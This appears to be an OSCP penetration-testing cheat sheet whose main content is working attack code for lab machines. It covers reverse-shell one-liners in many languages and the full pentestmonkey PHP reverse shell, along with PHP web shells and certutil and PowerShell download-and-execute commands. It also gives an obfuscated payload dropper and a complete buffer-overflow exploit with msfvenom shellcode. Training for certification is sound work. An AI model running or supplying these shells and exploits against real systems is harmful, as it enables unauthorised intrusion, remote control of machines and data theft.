awk 'BEGIN {s = "/inet/tcp/0/LHOST/LPORT"; while(42) { do{ printf "shell>" |
```

## Bash

```
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
```

```
0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196
```

```
exec 5<>/dev/tcp/LHOST/LPORT && while read line 0<&5; do $line 2>&5 >&5; done
```

## Java

```
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/LHO
```

## Javascript

```
(function(){ var net = require("net"), cp = require("child_process"), sh = c
```

## Netcat

```
nc -e /bin/sh LHOST LPORT
```

```
/bin/sh | nc LHOST LPORT
```

```
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f
```

```
rm -f backpipe; mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc LHOST
```

```
rm -f backpipe; mknod /tmp/backpipe p && nc LHOST LPORT 0<backpipe | /bin/ba
```

## Perl

```
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotob
```

```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"LPORT:LH
```

```
1 # Windows
2 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"LPORT:LHOST");STDIN->fdopen
```

## PHP

```
1 <?php system($_GET['cmd']);?>
2
3 <?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
```

```
php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'
```

```
php -r '$sock=fsockopen("LHOST",LPORT);shell_exec("/bin/sh -i <&3 >&3 2>&3")'
```

```
php -r '$sock=fsockopen("LHOST",LPORT);`/bin/sh -i <&3 >&3 2>&3`;'
```

```
php -r '$sock=fsockopen("LHOST",LPORT);system("/bin/sh -i <&3 >&3 2>&3");'
```

```
php -r '$sock=fsockopen("LHOST",LPORT);popen("/bin/sh -i <&3 >&3 2>&3", "r")'
```

```
1 // pentestmonkey one-liner ^_~
2 <?php set_time_limit (0); $VERSION = "1.0"; $ip = "LHOST"; $port = LPORT; ?>
```

## Powershell

```
$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT); $stream =
```

## Python

```
1 # TCP
2 python -c "import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK.
```

```
1 # STCP
2 python -c "import os,pty,socket,sctp;s=sctp.sctpsocket_tcp(socket.AF_INET)
```

```
1 # UDP
2 python -c "import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK.
```

## Ruby

```
ruby -rsocket -e 'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh
```

```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST","LPORT");while(cmd=c.
```

```
1 # Windows
2 ruby -rsocket -e 'c=TCPSocket.new("LHOST","LPORT");while(cmd=c.gets);IO.po
```

## Socat

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT
```

## TCLsh

```
echo 'set s [socket LHOST LPORT];while 42 { puts -nonewline $s "shell>";flush s}' | nc -l -p 4444
```

## Telnet

```
rm -f /tmp/p; mknod /tmp/p p && telnet LHOST LPORT 0/tmp/p
```

```
telnet LHOST LPORT | /bin/bash | telnet LHOST LPORT
```

## xterm

```
1 # Make sure the Xserver is listening to TCP.
2 xhost +RHOST
3 xterm -display LHOST:0 or DISPLAY=LHOST:0 xterm
```

---

## Listeners

```
1 socat file:`tty`,echo=0,raw tcp-listen:LPORT
2 nc -lvp LPORT
```

# Restricted Shell / SSH

If reverse shell not working :

- try changing the port to 443 or 80
- try checking for characters breaking the reverse shell

Evading Badchars in a reverse shell (HTB Sense)

- Echo abc
- Echo abc/
- Echo abc -
- Check env variables -> env
- HOME= /
- Echo \${HOME}/home
- Optional (Using ASCII to evade badchars)
- Printf "\55" -> -

Restricted Reverse Shell :

- To disable profiling in /etc/profile and ~/.profile
- Locate ifconfig
- /sbin/ifconfig
- nice /bin/bash

SSH :

```
1 // Ways to no profile
2 ssh hostname -t "bash --noprofile"
3 ssh -t user@host bash --norc --noprofile
4 ssh -t username@hostname /bin/sh
5 ssh -t user@host "bash --norc --noprofile -c '/bin/rm .bashrc'"
6
7 // SSH bash shellshock (Troll2 Vulnhub)
8 ssh -i noob noob@192.168.0.119 '() { :; }; uname -a'
```

Bypass restricted shell using : (dipak.pdf)

- `export PATH=/bin/:sbin:/usr/bin/:$PATH`
- `payload = "python -c 'import pty;pty.spawn(\"/bin/bash\")'"`

# Stable Reverse Shells

## PHP

```
1 <?php
2 // php-reverse-shell - A Reverse Shell implementation in PHP
3 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
4 //
5 // This tool may be used for legal purposes only. Users take full responsi-
6 // for any actions performed using this tool. The author accepts no liability
7 // for damage caused by this tool. If these terms are not acceptable to you,
8 // do not use this tool.
9 //
10 // In all other respects the GPL version 2 applies:
11 //
12 // This program is free software; you can redistribute it and/or modify
13 // it under the terms of the GNU General Public License version 2 as
14 // published by the Free Software Foundation.
15 //
16 // This program is distributed in the hope that it will be useful,
17 // but WITHOUT ANY WARRANTY; without even the implied warranty of
18 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
19 // GNU General Public License for more details.
20 //
21 // You should have received a copy of the GNU General Public License along
22 // with this program; if not, write to the Free Software Foundation, Inc.,
23 // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
24 //
25 // This tool may be used for legal purposes only. Users take full responsi-
26 // for any actions performed using this tool. If these terms are not accept-
27 // able to you, then do not use this tool.
28 //
29 // You are encouraged to send comments, improvements or suggestions to
30 // me at pentestmonkey@pentestmonkey.net
31 //
32 // Description
33 // -----
34 // This script will make an outbound TCP connection to a hardcoded IP and
35 // The recipient will be given a shell running as the current user (apache)
36 //
37 // Limitations
38 // -----
39 // proc_open and stream_set_blocking require PHP version 4.3+, or 5+
40 // Use of stream_select() on file descriptors returned by proc_open() will
41 // Some compile-time options are needed for daemonisation (like pcntl, posix)
42 //
43 // Usage
```

```
44 // -----
45 // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
46
47 set_time_limit (0);
48 $VERSION = "1.0";
49 $ip = '127.0.0.1'; // CHANGE THIS
50 $port = 1234; // CHANGE THIS
51 $chunk_size = 1400;
52 $write_a = null;
53 $error_a = null;
54 $shell = 'uname -a; w; id; /bin/sh -i';
55 $daemon = 0;
56 $debug = 0;
57
58 //
59 // Daemonise ourself if possible to avoid zombies later
60 //
61
62 // pcntl_fork is hardly ever available, but will allow us to daemonise
63 // our php process and avoid zombies. Worth a try...
64 if (function_exists('pcntl_fork')) {
65 // Fork and have the parent process exit
66 $pid = pcntl_fork();
67
68 if ($pid == -1) {
69 printit("ERROR: Can't fork");
70 exit(1);
71 }
72
73 if ($pid) {
74 exit(0); // Parent exits
75 }
76
77 // Make the current process a session leader
78 // Will only succeed if we forked
79 if (posix_setsid() == -1) {
80 printit("Error: Can't setsid()");
81 exit(1);
82 }
83
84 $daemon = 1;
85 } else {
86 printit("WARNING: Failed to daemonise. This is quite common and not fatal");
87 }
88
89 // Change to a safe directory
90 chdir("/");
91
92 // Remove any umask we inherited
93 umask(0);
94
```

```
95 //
96 // Do the reverse shell...
97 //
98
99 // Open reverse connection
100 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
101 if (!$sock) {
102 printit("$errstr ($errno)");
103 exit(1);
104 }
105
106 // Spawn shell process
107 $descriptorspec = array(
108 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
109 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
110 2 => array("pipe", "w") // stderr is a pipe that the child will write to
111);
112
113 $process = proc_open($shell, $descriptorspec, $pipes);
114
115 if (!is_resource($process)) {
116 printit("ERROR: Can't spawn shell");
117 exit(1);
118 }
119
120 // Set everything to non-blocking
121 // Reason: Occasionally reads will block, even though stream_select tells us it's ready
122 stream_set_blocking($pipes[0], 0);
123 stream_set_blocking($pipes[1], 0);
124 stream_set_blocking($pipes[2], 0);
125 stream_set_blocking($sock, 0);
126
127 printit("Successfully opened reverse shell to $ip:$port");
128
129 while (1) {
130 // Check for end of TCP connection
131 if (feof($sock)) {
132 printit("ERROR: Shell connection terminated");
133 break;
134 }
135
136 // Check for end of STDOUT
137 if (feof($pipes[1])) {
138 printit("ERROR: Shell process terminated");
139 break;
140 }
141
142 // Wait until a command is sent down $sock, or some
143 // command output is available on STDOUT or STDERR
144 $read_a = array($sock, $pipes[1], $pipes[2]);
145 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
```

```
146
147 // If we can read from the TCP socket, send
148 // data to process's STDIN
149 if (in_array($sock, $read_a)) {
150 if ($debug) printit("SOCK READ");
151 $input = fread($sock, $chunk_size);
152 if ($debug) printit("SOCK: $input");
153 fwrite($pipes[0], $input);
154 }
155
156 // If we can read from the process's STDOUT
157 // send data down tcp connection
158 if (in_array($pipes[1], $read_a)) {
159 if ($debug) printit("STDOUT READ");
160 $input = fread($pipes[1], $chunk_size);
161 if ($debug) printit("STDOUT: $input");
162 fwrite($sock, $input);
163 }
164
165 // If we can read from the process's STDERR
166 // send data down tcp connection
167 if (in_array($pipes[2], $read_a)) {
168 if ($debug) printit("STDERR READ");
169 $input = fread($pipes[2], $chunk_size);
170 if ($debug) printit("STDERR: $input");
171 fwrite($sock, $input);
172 }
173 }
174
175 fclose($sock);
176 fclose($pipes[0]);
177 fclose($pipes[1]);
178 fclose($pipes[2]);
179 proc_close($process);
180
181 // Like print, but does nothing if we've daemonised ourself
182 // (I can't figure out how to redirect STDOUT like a proper daemon)
183 function printit ($string) {
184 if (!$daemon) {
185 print "$string\n";
186 }
187 }
188
189 ?>
190
191
192
```

```
1 import socket,subprocess,os
2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3 s.connect(("192.168.0.110",4444))
4 os.dup2(s.fileno(),0)
5 os.dup2(s.fileno(),1)
6 os.dup2(s.fileno(),2)
7 p=subprocess.call(["/bin/sh","-i"])
8
```

# Spawn TTY

## Bash

```
1 /bin/bash -i
2 echo os.system('/bin/bash')
3 /bin/sh -i
```

## Python

```
python -c "import pty; pty.spawn('/bin/bash')"
```

## Perl

```
perl -e 'exec "/bin/bash";'
```

## Socat

On the attacker machine, set up socat listener: replace 4444 with your listening port.

```
socat -,raw,echo=0 tcp-listen:4444
```

On the victim machine, connect back the attacker machine and spawn a shell. Replace <host> with attacker IP and <port> with attacker listing port.

```
$ socat exec:"/bin/bash -li",pty,stderr,setsid,sigint,sane tcp:<host>:<port>
```

## Misc

```
1 /usr/bin/script -qc /bin/bash /dev/null
2 /usr/bin/expect sh
```

### Interactive TTY

- Backgrounding the *remote* shell with **CTRL-Z**:

```
user@remote:~$ ^Z
```

- Getting ROWS and COLS within current terminal window:

```
user@local:~$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/;/ /'
```

- Ignoring hotkeys in the *local* shell and getting back to the *remote*:

```
user@local:~$ stty raw -echo; fg
```

- Setting correct size for the *remote* shell (where `ROWS` and `COLS` are the values from the 3rd bullet):

```
user@remote:~$ stty rows ROWS cols COLS
```

- Adding some colors:

```
user@remote:~$ export TERM=xterm-256color
```

- Reloading bash to apply the TERM variable:

```
user@remote:~$ exec /bin/bash
```

# Windows Reverse Shells

**PHP :**

```
1 <?php
2
3 header('Content-type: text/plain');
4 $ip = "192.168.1.9"; //change this
5 $port = "1234"; //change this
6 $payload = "7Vh5VFpntj9JDkLIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQG";
7 $evalCode = gzinflate(base64_decode($payload));
8 $evalArguments = " ".$port." ".$ip;
9 $tmpdir ="C:\\windows\\temp";
10 chdir($tmpdir);
11 $res .= "Using dir : ".$tmpdir;
12 $filename = "D3fa1t_shell.exe";
13 $file = fopen($filename, 'wb');
14 fwrite($file, $evalCode);
15 fclose($file);
16 $path = $filename;
17 $cmd = $path.$evalArguments;
18 $res .= "\n\nExecuting : ".$cmd."\n";
19 echo $res;
20 $output = system($cmd);
21
22 ?>
```

**Windows Python :**

```
C:\\Python27\\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[s.connect
```

**Powershell :**

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.
```

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.
```

```
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.github
```

```
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream
```

### Certutil :

```
certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe shell.exe &
```

### Base64 Encoded Certutil based payload delivery :

```
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & cert
```

### Metasploit :

```
1 use exploit/windows/smb/smb_delivery
2 msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109 //your LI
3 msf exploit(windows/smb/smb_delivery) > exploit
4
5
6 rundll32.exe \\192.168.1.109\vabFG\test.dll,0
```

```
msf > use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109 ↵
srvhost => 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.109:4444
[*] Started service listener on 192.168.1.109:445
[*] Server started.
[*] Run the following command on the target machine:
msf exploit(windows/smb/smb_delivery) > [rundll32.exe \\192.168.1.109\vabFq\test.dll,0]
```

Credits : Hacking Articles

### Resources :

- <https://book.hacktricks.xyz/shells/shells/windows>
- <https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/>

# File Transfers

## Set up FTP :

Python pyftpdlib FTP Server (again don't run from TMUX):

```
1 apt-get install python-pyftpdlib
2 root@kali# python -m pyftpdlib -p 21
```

**SMB** : impacket-smbserver tmp .

## HTTP :

- python -m SimpleHTTPServer
- python3 -m http.server
- updog (<https://github.com/sc0tfree/updog>)

## Linux :

- curl
- wget

## Netcat

```
1 // Receiver
2 nc 192.168.0.1 4444 < file
3
4 // Sender
5 cat file | nc -nlvp 4444 // Normal file
6
7 // Base64 encoded sender
8 cat binary | base64 | nc -nlvp 4444
9
```

## Windows :

- certutil -urlcache -f http://<ip>/uri output.ext
- //10.10.10.x/smb

# Cryptography

## HTB Machines :

- HTB Obscurity
- HTB Frolic - Multiple Encodings and Ciphers

## Common Ciphers :

- ++++++ +++++ [->++ +++++ ++++] - BrainFuck (<https://www.dcode.fr/brainfuck-language>)
- ...?. ?!.?. ..... .... ..... .... !? ... - OOK! (<https://www.dcode.fr/ook-language>)

## Cipher Identifier :

- <https://www.boxentriq.com/code-breaking/cipher-identifier>
- <https://gchq.github.io/CyberChef/>
- <https://www.devglan.com/online-tools/aes-encryption-decryption> (AES)
- Hash-Identifier (Kali)
- hashid

# Pivot

Chisel :

```
1 ##### Attacker Machine #####
2
3 ./chisel server -p 8080 --reverse
4
5 ##### Pivot Machine #####
6
7 chisel.exe client attacker_ip:8080 R:socks
8
9 ##### Proxychains.conf #####
10
11 socks5 127.0.0.1 1080
12
13 ##### Nmap Scan #####
14
15 Always better to transfer binaries and scan from the pivot
16
17 nmap.exe -sC -sV 10.10.10.10 -Pn -T5 // From Pivot machine
18
19 proxychains nmap 10.10.10.10 -T5 -Pn -sT // From Kali Machine
20
21 ##### Gobuster #####
22
23 gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/direc
```

## Pivot via SSH key (HTB Nibbles)

- ssh -i root.key -L9000:web\_ip:port ssh\_ip
  - Ex : ssh -i root.key -L9000:10.10.10.75:80 10.10.10.73

## Pivot via root password (HTB Sense)

- ssh -D1080 pivot\_ip
- Burp -> user options -> socks proxy -> use socks proxy
- vi /etc/proxychains.conf
- Change socks4(metasploit) to socks5(ssh)

- proxychains curl -k <https://10.10.10.60> [ -k to ignore SSL]

# Buffer Overflows

Steps :

1. Fuzzing
2. Finding the Offset
3. Overwriting the EIP
4. Finding Bad Characters
5. Finding the JMP ESP address
6. Exploiting the System

## 1. Fuzzing

```
1 #!/usr/bin/python
2 # -*- coding: utf-8 -*-
3 #!/usr/bin/python
4
5 import sys, socket
6
7 buffer = "\x41" * 3000
8
9 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 s.connect(('10.0.0.71', 9999))
11 s.send(('TRUN /.:/' + buffer))
12 s.recv(1024)
13 s.close()
14
```

## 2. Finding the Offset

Cmd :

- msf-pattern\_create -l 3000
- msf-pattern\_offset -q 386F4337

```
1 #!/usr/bin/python
2 # -*- coding: utf-8 -*-
```

```
3 import sys
4 import socket
5
6 offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
7 try:
8 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
9 s.connect(('10.0.0.71', 9999))
10 s.send('TRUN ./:' + offset)
11 s.close()
12 except:
13
14 print('Error connecting to server')
15 sys.exit()
16
```

### 3. Overwriting the EIP

```
1 #!/usr/bin/python
2 # -*- coding: utf-8 -*-
3 import sys
4 import socket
5
6 shellcode = 'A' * 2003 + 'B' * 4
7
8 try:
9 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 s.connect(('10.0.0.71', 9999))
11 s.send('TRUN ./:' + shellcode)
12 s.close()
13 except:
14
15 print('Error connecting to server')
16 sys.exit()
17
```

### 4. Finding the bad Characters

```
1 badchars = (
2 "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
3 "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
4 "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
5 "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
```

```
6 "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
7 "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
8 "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
9 "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
10 "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
11 "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
12 "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
13 "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
14 "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
15 "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
16 "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
17 "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
18)
```

## 5. Finding the JMP ESP Instruction Address

## To Find JMP ESP :

- `jmp -r esp`

## Alternate Way :

- !mona modules
- !mona find -s "\xff\xe4" -m esfunc.dll

```
1 #!/usr/bin/python
2 # -*- coding: utf-8 -*-
3 import sys
4 import socket
5
6 shellcode = 'A' * 2003 + "\xaf\x11\x50\x62"
7
8 try:
9 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 s.connect(('10.0.0.71', 9999))
11 s.send('TRUN /.:/' + shellcode)
12 s.close()
13 except:
14
15 print('Error connecting to server')
16 sys.exit()
```

## 6. Exploit

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.82 LPORT=4444
EXITFUNC=thread -f py -a x86 -b "\x00"
```

```
1 #!/usr/bin/python
2 # -*- coding: utf-8 -*-
3
4 import sys
5 import socket
6
7 overflow = (
8 "\xb8\x0c\x65\xe6\x11\xda\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
9 "\x52\x31\x42\x12\x83\xea\xfc\x03\x4e\x6b\x04\xe4\xb2\x9b\x4a"
10 "\x07\x4a\x5c\x2b\x81\xaf\x6d\x6b\xf5\x44\xde\x5b\x7d\xe8\xd2"
11 "\x10\xd3\x18\x60\x54\xfc\x2f\xc1\xd3\xda\x1e\xd2\x48\x1e\x01"
12 "\x50\x93\x73\xe1\x69\x5c\x86\xe0\xae\x81\x6b\xb0\x67\xcd\xde"
13 "\x24\x03\x9b\xe2\xcf\x5f\x0d\x63\x2c\x17\x2c\x42\xe3\x23\x77"
14 "\x44\x02\xe7\x03\xcd\x1c\xe4\x2e\x87\x97\xde\xc5\x16\x71\x2f"
15 "\x25\xb4\xbc\x9f\xd4\xc4\xf9\x18\x07\xb3\xf3\x5a\xba\xc4\xc0"
```

```
16 "\x21\x60\x40\xd2\x82\xe3\xf2\x3e\x32\x27\x64\xb5\x38\x8c\xe2"
17 "\x91\x5c\x13\x26\xaa\x59\x98\xc9\x7c\xe8\xda\xed\x58\xb0\xb9"
18 "\x8c\xf9\x1c\x6f\xb0\x19\xff\xd0\x14\x52\x12\x04\x25\x39\x7b"
19 "\xe9\x04\xc1\x7b\x65\x1e\xb2\x49\x2a\xb4\x5c\xe2\xa3\x12\x9b"
20 "\x05\x9e\xe3\x33\xf8\x21\x14\x1a\x3f\x75\x44\x34\x96\xf6\x0f"
21 "\xc4\x17\x23\x9f\x94\xb7\x9c\x60\x44\x78\x4d\x09\x8e\x77\xb2"
22 "\x29\xb1\x5d\xdb\xc0\x48\x36\xee\x14\x52\x94\x86\x16\x52\x09"
23 "\x0b\x9e\xb4\x43\xa3\xf6\xf6\xfc\x5a\x53\xfb\x9d\xa3\x49\x86"
24 "\x9e\x28\x7e\x77\x50\xd9\x0b\x6b\x05\x29\x46\xd1\x80\x36\x7c"
25 "\x7d\x4e\xa4\x1b\x7d\x19\xd5\xb3\x2a\x4e\x2b\xca\xbe\x62\x12"
26 "\x64\xdc\x7e\xc2\x4f\x64\xa5\x37\x51\x65\x28\x03\x75\x75\xf4"
27 "\x8c\x31\x21\xa8\xda\xef\x9f\x0e\xb5\x41\x49\xd9\x6a\x08\x1d"
28 "\x9c\x40\x8b\x5b\xa1\x8c\x7d\x83\x10\x79\x38\xbc\x9d\xed\xcc"
29 "\xc5\xc3\x8d\x33\x1c\x40\xad\xd1\xb4\xbd\x46\x4c\x5d\x7c\x0b"
30 "\x6f\x88\x43\x32\xec\x38\x3c\xc1\xec\x49\x39\x8d\xaa\xa2\x33"
31 "\x9e\x5e\xc4\xe0\x9f\x4a")
32
33 shellcode = 'A' * 2003 + "\xaf\x11\x50\x62" + '\x90' * 32 + overflow
34
35 try:
36 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
37 s.connect(('10.0.0.71', 9999))
38 s.send('TRUN /.:/' + shellcode)
39 s.close()
40 except:
41
42 print('Error connecting to server')
43 sys.exit()
```

# Binary

## Linux BOF :

- check ASLR : cat /proc/sys/kernel/randomize\_va\_space
  - 0 - ASLR Disable
  - 1 - ASLR Enabled
- gdb checksec
- ldd <binary>
- ltrace <binary>
- Lib2retc attack - HTB Frolic
- [https://github.com/david942j/one\\_gadget](https://github.com/david942j/one_gadget) (One Gadget tool for finding RCE in libc)
- <https://snowscan.io/htb-writeup-frolic/>

## Buffer Overflow Practice :

- SLmail
- ftpfreefloat
- minishare
- Ftpfreefloat

## Tools :

- GDB Peda (<https://github.com/longld/peda>)

# Misc

## SSH Permissions

```
1 chmod 700 ~/.ssh
2 chmod 644 ~/.ssh/authorized_keys
3 chmod 644 ~/.ssh/known_hosts
4 chmod 644 ~/.ssh/config
5 chmod 600 ~/.ssh/id_rsa
6 chmod 644 ~/.ssh/id_rsa.pub
```

# Msfvenom

## MSF Venom Payloads

```
1 msfvenom --list formats
2 msfvenom --list encoders
```

### PHP

```
msfvenom -p php/reverse_php LHOST=192.168.0.110 LPORT=443 > tmp.php
```

### Linux Elf

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=
```

# Tips

## Preparation Tips :

- You'll run out of techniques before time runs out. So learn as many techniques as possible that you always have an alternate option if something fails to produce output.
- Try harder doesn't mean you have to try the same exploit with 200x thread count or with an angry face. Go, enumerate harder.

## Exam Tips :

- Bruh you have unlimited breaks, use it. You aren't writing your semester exam.
- 24 reverts are plenty enough already. Go use it.
- Caffeine is a must.
- You're not gonna pentest a real-world machine. You're gonna try to hack into an intentionally vulnerable machine that is vulnerable to a specific exploit. Exploiting it right in 24 hours is your only goal. So, OSCP is actually a lot easier than real-world machines where you don't know if the machine is vulnerable or not.
- [ippsec.rocks](#) is a good resource to use if you need help in exploiting a specific service

## Tip for Enumeration :

Enumerate more means:

- Scan ports, scan all the ports, scan using different scanning techniques,
- brute force web dirs, brute force web dirs using different wordlist and tools
- check for file permissions, check for registry entries, check for writable folders, check for privileged processes and services, check for interesting files,
- look for a more suitable exploit using searchsploit, search google for valuable information, etc.
- webserver version, web app version, CMS version, plugin versions

## Tip for Foothold :

- Password reuse

- The default password of the application / CMS
- Guess the file location incase of LFI with username
- username from any notes inside the machine might be useful for Bruteforce
- Try harder doesn't mean you have to try the same exploit with 200x thread count or with an angry face. Go, enumerate harder.

# Resources

## OSCP Journeys and Preparation guides:

- <https://medium.com/@parthdeshani/how-to-pass-oscp-like-boss-b269f2ea99d>
- [https://www.netsecfocus.com/oscp/2019/03/29/The\\_Journey\\_to\\_Try\\_Harder-\\_TJNulls\\_Preparation\\_Guide\\_for\\_PWK\\_OSCP.html](https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html)
- <https://medium.com/@calmhavoc/oscp-the-pain-the-pleasure-a506962baad>
- <https://github.com/burntmybagel/OSCP-Prep>
- <https://medium.com/@m4lv0id/and-i-did-oscp-589babbfea19>
- <https://gr0sabi.github.io/security/oscp-insights-best-practices-resources/#note-taking>
- [https://satiex.net/2019/04/10/offensive-security-certified-professional/amp/?\\_\\_twitter\\_impression=true](https://satiex.net/2019/04/10/offensive-security-certified-professional/amp/?__twitter_impression=true)
- <https://hakin9.org/try-harder-my-penetration-testing-with-kali-linux-oscp-review-and-courselab-experience-my-oscp-review-by-jason-bernier/>
- <https://theslickgeek.com/oscp/>
- <http://dann.com.br/oscp-offensive-security-certification-pwk-course-review/>
- <https://h0mbre.github.io/OSCP/#>
- <https://prasannakumar.in/infosec/my-walk-towards-cracking-oscp/>
- <https://infosecuritygeek.com/my-oscp-journey/>
- <https://acknak.fr/en/articles/oscp-tools/>
- <https://r3dg33k.com/2018-10-09-oscp-exp/>
- <https://www.jimwilbur.com/oscp-links/>
- <https://www.linkedin.com/pulse/road-oscp-oluwaseun-oyelude-oscp>
- <https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html>
- <https://blog.vonhewitt.com/2018/08/oscp-exam-cram-log-aug-sept-oct-2018/>
- <https://jhalon.github.io/OSCP-Review/>
- <https://www.alienvault.com/blogs/security-essentials/how-to-prepare-to-take-the-oscp>
- <https://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/>
- [https://thor-sec.com/review/oscp/oscp\\_review/](https://thor-sec.com/review/oscp/oscp_review/)

# Cheatsheets

## OSCP Cheatsheets :

- <https://github.com/P3t3rp4rk3r/OSCP-cheat-sheet-1?files=1>
- <https://github.com/crsftw/oscsp?files=1>
- <https://github.com/crsftw>
- <https://h4ck.co/wp-content/uploads/2018/06/cheatsheet.txt>
- <https://sushant747.gitbooks.io/total-oscp-guide/reverse-shell.html>
- <https://jok3rsecurity.com/cheat-sheet/>
- <https://github.com/UserXGnu/OSCP-cheat-sheet-1?files=1>
- <https://archive.is/lZLjv>
- <https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/>
- <http://ramunix.blogspot.com/2016/10/oscsp-cheat-sheet.html?m=1>
- <http://0xc0ffee.io/blog/OSCP-Goldmine>
- <https://hausec.com/pentesting-cheatsheet/>
- <https://jordanpotti.com/oscsp/>
- <https://github.com/ucki/URP-T-v.01?files=1>
- [https://blog.propriacausa.de/wp-content/uploads/2016/07/oscsp\\_notes.html](https://blog.propriacausa.de/wp-content/uploads/2016/07/oscsp_notes.html)
- <https://zsahi.wordpress.com/oscsp-notes-collection/>
- <https://github.com/weaknetlabs/Penetration-Testing-Grimoire?files=1>
- <https://github.com/OlivierLaflamme/Cheatsheet-God?files=1>
- <https://medium.com/@cymtrick/oscsp-cheat-sheet-5b8aeae085ad>

# Tools

Approved Tools List: <https://falconspy.medium.com/unofficial-oscp-approved-tools-b2b4e889e707>

## Exploit search :

- Searchsploit

## Enumeration Tools :

- <https://github.com/Tib3rius/AutoRecon>
- <https://bitbucket.org/xaeroborg/python3-programs/src>
- <https://github.com/21y4d/nmapAutomator>

## Linux Privilege escalation Tools :

- Linux Exploit Suggester (<https://github.com/mzet-/linux-exploit-suggester>)
- SUIDENUM (<https://github.com/Anon-Exploiter/SUID3NUM>)
- LinEnum.sh (<https://github.com/rebootuser/LinEnum>)
- linpeas.sh (<https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS>)
